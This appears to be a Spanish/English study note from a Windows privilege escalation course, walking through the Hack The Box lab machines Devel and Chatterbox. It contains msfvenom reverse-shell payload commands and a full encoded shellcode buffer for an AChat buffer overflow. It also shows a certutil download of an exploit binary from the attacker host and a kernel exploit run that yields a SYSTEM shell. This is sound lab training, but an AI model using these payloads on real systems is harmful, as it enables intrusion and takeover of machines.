# TCM Course - Windows Privilege Escalation- Part 1
###### tags: `windows` `privesc` `OSCP` `ActiveDirectory`
{%hackmd theme-dark %}
Course: https://academy.tcm-sec.com/courses/1154361/lectures/24795072
Nota: Está en dos partes porque el máx de caracteres por nota en HackMD es de 10000, y esto los supera x)
## Kernel Exploits - Devel
### Access to the machine
Anonymous access to FTP which is serving the website.
`msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8888 -f aspx > manual.aspx`
### Enumerating
* https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Nota: Va a dar muchos errores debido a elementos obsoletos relacionados con Python2, así que probar con esta PR:
https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/f34dcc186697ac58c54ebe1d32c7695e040d0ecb/windows-exploit-suggester.py
Actualizamos la DB:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/Devel/Windows-Exploit-Suggester]
└─$ python2 windows-exploit-suggester.py --update
[*] initiating winsploit version 3.3...
[+] writing to file 2022-11-14-mssb.xls
[*] done
```
Ejecutamos en la máquina a atacar systeminfo:
```bash
c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31 ��
System Boot Time: 13/11/2022, 11:14:49 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 3.071 MB
Available Physical Memory: 2.455 MB
Virtual Memory: Max Size: 6.141 MB
Virtual Memory: Available: 5.530 MB
Virtual Memory: In Use: 611 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Local Area Connection 3
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.5
[02]: fe80::58c0:f1cf:abc6:bb9e
[03]: dead:beef::10d5:9590:d613:ebd5
[04]: dead:beef::58c0:f1cf:abc6:bb9e
```
Y al ejecutarlo:
```Bash
──(aml㉿kali)-[~/HTB/Retired/Devel]
└─$ python windows-exploit-suggester.py --database 2022-11-14-mssb.xls --systeminfo systeminfo.txt
[*]initiating winsploit version 3.3...
[*]database file detected as xls or xlsx based on extension
[*]attempting to read from the systeminfo input file
[+]systeminfo input file read successfully (utf-8)
[*]querying database file for potential vulnerabilities
[*]comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits
[*]there are now 179 remaining vulns
[+][E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+]windows version identified as 'Windows 7 32-bit'
[*]
[M]MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M]MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E]MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[E]MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M]MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M]MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E]MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E]MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M]MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M]MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M]MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*]done
```
Por ejemplo, elegí el MS11-011.
Aquí https://www.exploit-db.com/exploits/11199 me dice que tengo un exploit en https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11199.zip
Este no podemos probarlo porque spamea una nueva shell en modo visual que es de system, y estamos en modo consola.
la MS10-059 parece que sí serviría:
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059
```bash
c:\inetpub\wwwroot>Churraskito.exe
Churraskito.exe
This program cannot be run in DOS mode.
c:\inetpub\wwwroot>Churraskito.exe "C:\Windows\system32\cmd.exe" "net user 123 123 /add"
Churraskito.exe "C:\Windows\system32\cmd.exe" "net user 123 123 /add"
This program cannot be run in DOS mode.
```
Sad.
Parece ser que el churraskito este está basado en otro llamado chimichurri que da una revshell.
El otro da el mismo problema, pero al tio del curso le va. _Press F to say F_
Vale, el fallo es del FTP.
```bash
C:\Windows\Temp>certutil.exe -urlcache -f http://10.10.14.3/MS10-059.exe ms10-059.exe
certutil.exe -urlcache -f http://10.10.14.3/MS10-059.exe ms10-059.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
C:\Windows\Temp>ms10-059.exe
ms10-059.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
C:\Windows\Temp>
```
Ahora funsionan ambos, era cosa del ftp, que convertía los .exe a plaintext. Los subí con certutil.exe y el httpserver de python.
En el target:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/Devel]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.5] 49247
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>cd C:\Windows\Temp
cd C:\Windows\Temp
C:\Windows\Temp>ms10-059.exe 10.10.14.3 8876
ms10-059.exe 10.10.14.3 8876
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse shell...<BR>/Chimichurri/-->Restoring default registry values...<BR>
```
En nuestra máquina:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/Devel]
└─$ nc -nlvp 8876
listening on [any] 8876 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.5] 49253
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\Temp>whoami
whoami
nt authority\system
```
## Password Hunting and Port Forwarding - Chatterbox
### Access to the machine
```bash
┌──(aml㉿kali)-[~/HTB/Retired/chatterbox]
└─$ sudo nmap -T5 -A -p135,139,445,9255,9256,49152,49153,49154,49155,49156,49157 10.10.10.74 -oN nmap.out
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-14 16:29 CET
Nmap scan report for 10.10.10.74
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp open http AChat chat system httpd
|_http-server-header: AChat
|_http-title: Site doesn\'t have a title.
9256/tcp open achat AChat chat system
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2008
OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
OS details: Microsoft Windows Server 2008 SP1
Network Distance: 2 hops
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h40m01s, deviation: 2h53m14s, median: 5h00m00s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-11-14T20:30:54
|_ start_date: 2022-11-14T20:18:39
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: Chatterbox
| NetBIOS computer name: CHATTERBOX\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-11-14T15:30:56-05:00
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 64.87 ms 10.10.14.1
2 65.04 ms 10.10.10.74
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.34 seconds
```
La password de guest es (blank), porque con otras da el error `NT_STATUS_LOGON_FAILURE`.
```bash
┌──(aml㉿kali)-[~]
└─$ searchsploit achat
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Achat 0.150 beta7 - Remote Buffer Overflow | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit) | windows/remote/36056.rb
MataChat - 'input.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/32958.txt
Parachat 5.5 - Directory Traversal | php/webapps/24647.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```
Creating revshell for BoF
```bash
┌──(aml㉿kali)-[~/HTB/Retired/chatterbox]
└─$ msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8877 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3767 bytes
buf = b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += b"\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"
buf += b"\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"
buf += b"\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"
buf += b"\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"
buf += b"\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"
buf += b"\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"
buf += b"\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"
buf += b"\x47\x42\x39\x75\x34\x4a\x42\x39\x6c\x38\x68\x44\x42"
buf += b"\x6d\x30\x49\x70\x4d\x30\x61\x50\x74\x49\x49\x55\x4e"
buf += b"\x51\x49\x30\x42\x44\x64\x4b\x42\x30\x70\x30\x64\x4b"
buf += b"\x70\x52\x7a\x6c\x44\x4b\x71\x42\x4d\x44\x42\x6b\x70"
buf += b"\x72\x4f\x38\x4c\x4f\x38\x37\x6d\x7a\x6b\x76\x6e\x51"
buf += b"\x6b\x4f\x34\x6c\x4d\x6c\x51\x51\x71\x6c\x4c\x42\x4c"
buf += b"\x6c\x6f\x30\x67\x51\x76\x6f\x4c\x4d\x4a\x61\x76\x67"
buf += b"\x6b\x32\x49\x62\x4e\x72\x4e\x77\x54\x4b\x70\x52\x6c"
buf += b"\x50\x72\x6b\x50\x4a\x4f\x4c\x44\x4b\x70\x4c\x4e\x31"
buf += b"\x74\x38\x4a\x43\x6e\x68\x79\x71\x58\x51\x72\x31\x64"
buf += b"\x4b\x62\x39\x4f\x30\x6a\x61\x49\x43\x72\x6b\x71\x39"
buf += b"\x4a\x78\x4b\x33\x6c\x7a\x71\x39\x52\x6b\x4c\x74\x52"
buf += b"\x6b\x5a\x61\x6a\x36\x50\x31\x49\x6f\x46\x4c\x47\x51"
buf += b"\x58\x4f\x6c\x4d\x4b\x51\x57\x57\x70\x38\x67\x70\x70"
buf += b"\x75\x68\x76\x39\x73\x51\x6d\x6b\x48\x6d\x6b\x51\x6d"
buf += b"\x6e\x44\x50\x75\x57\x74\x50\x58\x54\x4b\x72\x38\x4c"
buf += b"\x64\x79\x71\x59\x43\x42\x46\x42\x6b\x6a\x6c\x30\x4b"
buf += b"\x32\x6b\x42\x38\x6b\x6c\x49\x71\x76\x73\x34\x4b\x4d"
buf += b"\x34\x44\x4b\x4b\x51\x56\x70\x51\x79\x61\x34\x4d\x54"
buf += b"\x6c\x64\x31\x4b\x31\x4b\x63\x31\x52\x39\x31\x4a\x52"
buf += b"\x31\x69\x6f\x37\x70\x4f\x6f\x71\x4f\x4e\x7a\x72\x6b"
buf += b"\x5a\x72\x7a\x4b\x44\x4d\x61\x4d\x4f\x78\x6c\x73\x6c"
buf += b"\x72\x4d\x30\x6b\x50\x61\x58\x44\x37\x73\x43\x50\x32"
buf += b"\x4f\x6f\x51\x44\x42\x48\x70\x4c\x31\x67\x6e\x46\x49"
buf += b"\x77\x4b\x4f\x59\x45\x56\x58\x34\x50\x4b\x51\x4b\x50"
buf += b"\x4b\x50\x4c\x69\x65\x74\x50\x54\x32\x30\x31\x58\x4d"
buf += b"\x59\x71\x70\x72\x4b\x4d\x30\x79\x6f\x6a\x35\x42\x30"
buf += b"\x4e\x70\x42\x30\x72\x30\x4f\x50\x4e\x70\x31\x30\x6e"
buf += b"\x70\x52\x48\x68\x6a\x6c\x4f\x59\x4f\x49\x50\x4b\x4f"
buf += b"\x6a\x35\x54\x57\x31\x5a\x7a\x65\x4f\x78\x5a\x6a\x4b"
buf += b"\x5a\x4a\x6e\x6d\x33\x33\x38\x6a\x62\x69\x70\x4d\x52"
buf += b"\x66\x4d\x53\x59\x49\x56\x72\x4a\x4c\x50\x50\x56\x31"
buf += b"\x47\x4f\x78\x55\x49\x73\x75\x54\x34\x30\x61\x49\x6f"
buf += b"\x36\x75\x35\x35\x47\x50\x72\x54\x7a\x6c\x79\x6f\x50"
buf += b"\x4e\x39\x78\x72\x55\x7a\x4c\x52\x48\x78\x70\x45\x65"
buf += b"\x43\x72\x62\x36\x6b\x4f\x48\x55\x33\x38\x63\x33\x62"
buf += b"\x4d\x6f\x74\x4d\x30\x54\x49\x38\x63\x62\x37\x51\x47"
buf += b"\x50\x57\x4e\x51\x59\x66\x42\x4a\x6a\x72\x62\x39\x42"
buf += b"\x36\x49\x52\x4b\x4d\x33\x36\x59\x37\x6f\x54\x6c\x64"
buf += b"\x4f\x4c\x79\x71\x6a\x61\x74\x4d\x6d\x74\x6d\x54\x4e"
buf += b"\x30\x59\x36\x69\x70\x51\x34\x4f\x64\x6e\x70\x61\x46"
buf += b"\x51\x46\x30\x56\x4f\x56\x42\x36\x50\x4e\x70\x56\x50"
buf += b"\x56\x30\x53\x4f\x66\x30\x68\x72\x59\x68\x4c\x4f\x4f"
buf += b"\x33\x56\x69\x6f\x56\x75\x31\x79\x6b\x30\x6e\x6e\x42"
buf += b"\x36\x4f\x56\x49\x6f\x6e\x50\x30\x68\x4c\x48\x32\x67"
buf += b"\x4b\x6d\x73\x30\x69\x6f\x77\x65\x75\x6b\x78\x70\x36"
buf += b"\x55\x44\x62\x71\x46\x32\x48\x57\x36\x73\x65\x37\x4d"
buf += b"\x63\x6d\x59\x6f\x37\x65\x4f\x4c\x49\x76\x71\x6c\x6a"
buf += b"\x6a\x35\x30\x59\x6b\x57\x70\x63\x45\x79\x75\x37\x4b"
buf += b"\x31\x37\x4b\x63\x62\x52\x32\x4f\x32\x4a\x79\x70\x4f"
buf += b"\x63\x39\x6f\x79\x45\x41\x41"
```
Edited the BoF, adding the revshell and the IP of the target and:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/chatterbox]
└─$ python2 36025.py
---->{P00F}!
```
```bash
┌──(aml㉿kali)-[~/HTB/Retired/chatterbox]
└─$ nc -nlvp 8877
listening on [any] 8877 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.74] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
chatterbox\alfred
C:\Windows\system32>hostname
hostname
Chatterbox
```
### Enumerating
Systeminfo
```bash
Host Name: CHATTERBOX
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00371-222-9819843-86663
Original Install Date: 12/10/2017, 9:18:19 AM
System Boot Time: 11/14/2022, 4:22:38 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,597 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,650 MB
Virtual Memory: In Use: 445 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\CHATTERBOX
Hotfix(s): 183 Hotfix(s) Installed.
[01]: KB2849697
[02]: KB2849696
[03]: KB2841134
[04]: KB2670838
[05]: KB2830477
[06]: KB2592687
[07]: KB2479943
[08]: KB2491683
[09]: KB2506212
[10]: KB2506928
[11]: KB2509553
[12]: KB2533552
[13]: KB2534111
[14]: KB2545698
[15]: KB2547666
[16]: KB2552343
[17]: KB2560656
[18]: KB2563227
[19]: KB2564958
[20]: KB2574819
[21]: KB2579686
[22]: KB2604115
[23]: KB2620704
[24]: KB2621440
[25]: KB2631813
[26]: KB2639308
[27]: KB2640148
[28]: KB2647753
[29]: KB2654428
[30]: KB2660075
[31]: KB2667402
[32]: KB2676562
[33]: KB2685811
[34]: KB2685813
[35]: KB2690533
[36]: KB2698365
[37]: KB2705219
[38]: KB2719857
[39]: KB2726535
[40]: KB2727528
[41]: KB2729094
[42]: KB2732059
[43]: KB2732487
[44]: KB2736422
[45]: KB2742599
[46]: KB2750841
[47]: KB2761217
[48]: KB2763523
[49]: KB2770660
[50]: KB2773072
[51]: KB2786081
[52]: KB2799926
[53]: KB2800095
[54]: KB2807986
[55]: KB2808679
[56]: KB2813430
[57]: KB2820331
[58]: KB2834140
[59]: KB2840631
[60]: KB2843630
[61]: KB2847927
[62]: KB2852386
[63]: KB2853952
[64]: KB2857650
[65]: KB2861698
[66]: KB2862152
[67]: KB2862330
[68]: KB2862335
[69]: KB2864202
[70]: KB2868038
[71]: KB2871997
[72]: KB2884256
[73]: KB2891804
[74]: KB2892074
[75]: KB2893294
[76]: KB2893519
[77]: KB2894844
[78]: KB2900986
[79]: KB2908783
[80]: KB2911501
[81]: KB2912390
[82]: KB2918077
[83]: KB2919469
[84]: KB2923545
[85]: KB2931356
[86]: KB2937610
[87]: KB2943357
[88]: KB2952664
[89]: KB2966583
[90]: KB2968294
[91]: KB2970228
[92]: KB2972100
[93]: KB2973112
[94]: KB2973201
[95]: KB2973351
[96]: KB2977292
[97]: KB2978742
[98]: KB2984972
[99]: KB2985461
[100]: KB2991963
[101]: KB2992611
[102]: KB3003743
[103]: KB3004361
[104]: KB3004375
[105]: KB3006121
[106]: KB3006137
[107]: KB3010788
[108]: KB3011780
[109]: KB3013531
[110]: KB3020370
[111]: KB3020388
[112]: KB3021674
[113]: KB3021917
[114]: KB3022777
[115]: KB3023215
[116]: KB3030377
[117]: KB3035126
[118]: KB3037574
[119]: KB3042058
[120]: KB3045685
[121]: KB3046017
[122]: KB3046269
[123]: KB3054476
[124]: KB3055642
[125]: KB3059317
[126]: KB3060716
[127]: KB3061518
[128]: KB3067903
[129]: KB3068708
[130]: KB3071756
[131]: KB3072305
[132]: KB3074543
[133]: KB3075226
[134]: KB3078601
[135]: KB3078667
[136]: KB3080149
[137]: KB3084135
[138]: KB3086255
[139]: KB3092627
[140]: KB3093513
[141]: KB3097989
[142]: KB3101722
[143]: KB3102429
[144]: KB3107998
[145]: KB3108371
[146]: KB3108381
[147]: KB3108664
[148]: KB3109103
[149]: KB3109560
[150]: KB3110329
[151]: KB3118401
[152]: KB3122648
[153]: KB3123479
[154]: KB3126587
[155]: KB3127220
[156]: KB3133977
[157]: KB3137061
[158]: KB3138378
[159]: KB3138612
[160]: KB3138910
[161]: KB3139398
[162]: KB3139914
[163]: KB3140245
[164]: KB3147071
[165]: KB3150220
[166]: KB3150513
[167]: KB3156016
[168]: KB3156019
[169]: KB3159398
[170]: KB3161102
[171]: KB3161949
[172]: KB3161958
[173]: KB3172605
[174]: KB3177467
[175]: KB3179573
[176]: KB3184143
[177]: KB3185319
[178]: KB4014596
[179]: KB4019990
[180]: KB4040980
[181]: KB976902
[182]: KB982018
[183]: KB4054518
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection 4
DHCP Enabled: No
IP address(es)
```
Launching ExploitSuggester:
```bash
┌──(aml㉿kali)-[~/HTB/Retired/Devel]
└─$ python windows-exploit-suggester.py -i Windows-Exploit-Suggester/systeminfo.txt -d 2022-11-14-mssb.xls
[*]initiating winsploit version 3.3...
[*]database file detected as xls or xlsx based on extension
[*]attempting to read from the systeminfo input file
[+]systeminfo input file read successfully (utf-8)
[*]querying database file for potential vulnerabilities
[*]comparing the 183 hotfix(es) against the 381 potential bulletins(s) with a database of 137 known exploits
[*]there are now 175 remaining vulns
[+][E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+]windows version identified as 'Windows 7 SP1 32-bit'
[*]
[E]MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E]MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
[M]MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*] https://github.com/foxglovesec/RottenPotato
[*] https://github.com/Kevin-Robertson/Tater
[*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*]
[E]MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*]
[E]MS16-056: Security Update for Windows Journal (3156761) - Critical
[*] https://www.exploit-db.com/exploits/40881/ -- Microsoft Internet Explorer - jscript9 JavaScriptStackWalker Memory Corruption (MS15-056)
[*] http://blog.skylined.nl/20161206001.html -- MSIE jscript9 JavaScriptStackWalker memory corruption
[*]
[M]MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*] https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*] https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*]
[E]MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*] Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*]
[E]MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*] https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*] https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*]
[M]MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
